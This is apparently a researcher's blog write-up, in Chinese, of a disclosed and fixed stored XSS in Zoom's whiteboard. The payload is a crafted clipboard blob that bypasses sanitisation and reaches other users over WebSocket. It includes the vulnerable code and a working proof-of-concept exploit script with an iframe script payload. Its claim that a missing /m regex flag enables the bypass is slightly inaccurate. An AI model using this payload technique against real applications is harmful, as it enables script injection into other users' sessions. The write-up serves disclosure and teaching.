剪贴板事件监听器引发的存储型XSS漏洞分析

本文深入分析了Zoom白板功能中通过剪贴板事件监听器触发的存储型XSS漏洞,详细剖析了DataTransfer API的安全隐患、协议缓冲区的反序列化过程以及React内容编辑组件的安全缺陷,最终实现跨用户XSS攻击的全过程。

剪贴板事件监听器引发的存储型XSS漏洞分析

作者注:我的新书《从零日漏洞到零日攻击:漏洞研究实战指南》已由No Starch Press出版!🚀

序列化的漏洞点

Zoom白板功能支持用户在共享画布上协作编辑便签、图表和富文本内容。该功能基于JavaScript实现,同时支持Web和原生客户端,这使我能够轻松获取客户端代码。由于应用包含了webpack打包代码的源映射文件,我使用自研的Webpack Exploder工具顺利还原了原始目录结构。

在快速浏览代码并运行CodeQL扫描后,我发现以下函数通过DataTransfer.getData()从剪贴板提取用户数据:

1
2
3
4
5
6
7
8
private prepareData(t: DataTransfer | null): ReadData | undefined {
  if (!t) return;
  return {
    html: t.getData(MIME_TYPE.TEXT_HTML),
    text: t.getData(MIME_TYPE.TEXT_PLAIN),
    files: Array.from(t.files || []),
  };
}

追踪调用链发现该函数确实源自粘贴事件监听器:

1
2
3
4
5
document.addEventListener("paste", this.pasteListener);
...
private pasteListener = (evt: ClipboardEvent) => {
    this.pasteWrapper(this.prepareData(evt.clipboardData));
};

MDN文档指出,粘贴事件的clipboardData属性是DataTransfer对象实例,其getData(format)函数支持多种数据类型格式,包括text/plain(纯文本)和text/html(序列化HTML数据)。值得注意的是,剪贴板可以包含不同类型的数据集:

1
2
3
const dt = event.dataTransfer;
dt.setData("text/html", "Hello there, <strong>stranger</strong>");
dt.setData("text/plain", "Hello there, stranger");

应用从剪贴板提取富数据后,通过page.paste()将其添加到页面:

1
2
3
4
5
6
private pasteWrapper = async (t?: ReadData) => {
    ...
    await this.read();
    ...
    await page.paste(position);
};

read函数将剪贴板数据解析为HTML节点的过程尤为关键:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private async read() {
    let items: ClipboardItems = [];
    try {
      items = await navigator.clipboard.read();
    } catch (err) {
      SYSTEM_LOGGER.warn(err);
      return;
    }
    const target = items.pop();
    if (!target) return;
    const type = target.types[target.types.length - 1];
    if (!type) return;
    const b = await target.getType(type);
    ...
    if (type === MIME_TYPE.TEXT_HTML) {
      const zdcData = await getZDCCopyObjects(b);
      if (zdcData) {
        data.push(...zdcData.objs);
        zdcData.meta && this.updateMeta(zdcData.meta);
      } else {
        const t = getStringFromHtmlString(await b.text());
        t && data.push(this.createTextBox(t));
      }
    ...
}

HTML类型数据的反序列化过程如下:

  1. 将剪贴板数据解析为HTML
  2. 提取第一个span元素的data-meta属性值
  3. 验证值是否匹配正则表达式/^<–(zdc-data)(.*)(/zdc-data)–>$/
  4. 对匹配内容进行Base64解码
  5. URI解码后解析为{ objs: ZDCCopyObject[]; meta?: ClipTargetMeta }结构

不彻底的净化处理

通过检查协议缓冲区定义,发现白板支持多种项目类型。当新项目通过WebSocket广播时,客户端的createFabricObject函数会将对应React组件插入页面。虽然React默认会净化所有属性,但react-contenteditable依赖项会将html属性传递给dangerouslySetInnerHTML。

开发者虽然使用了严格的DOMPurify配置进行净化:

1
2
3
4
5
6
export const sanitizeHTML = (content: string) => {
  return DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ["b", "i", "div", "br"],
    ALLOWED_ATTR: [],
  });
};

但StickyNote组件中的ContentEditable子组件遗漏了sanitizeHTML处理。虽然开发者通过convertToText函数进行了二次净化:

1
2
3
4
5
export const convertToText = (str = "") => {
  let value = String(str);
  value = value.replace(/<(.*?)>/g, "");
  return value;
};

但这个正则表达式缺少/m多行标志,导致<script \n>alert()</script \n>这类Payload能够绕过检测。

漏洞利用

最终构造的利用脚本将恶意Payload注入剪贴板:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
var objs = [{
    text: "<iframe srcdoc='&#x3c;script&#x3e;alert()&#x3c;/script&#x3e;' \n></iframe\n>",
    wireType: 7
}]

function getHtmlString(objs, meta) {
    const b = window.btoa(encodeURIComponent(JSON.stringify({objs,meta})));
    return `<meta charset="utf-8"><span data-meta="<--(zdc-data)${b}(/zdc-data)-->"></span>`;
}

navigator.clipboard.write([new ClipboardItem({
    "text/html": new Blob([getHtmlString(objs, meta)], {type: "text/html"})
})]);

时间线

  • 7月29日:初次披露
  • 8月2日:确认漏洞
  • 8月21日:完成修复

经验总结

这个漏洞的特别之处在于:

  1. 剪贴板作为JavaScript可控的输入渠道
  2. Payload通过WebSocket传播给其他用户
  3. 漏洞存在于第三方依赖中,常规CodeQL扫描难以发现
  4. 多层净化处理仍存在逻辑缺陷

这个案例充分说明,即使是经过多重安全处理的系统,细小的逻辑疏漏仍可能导致严重的安全问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计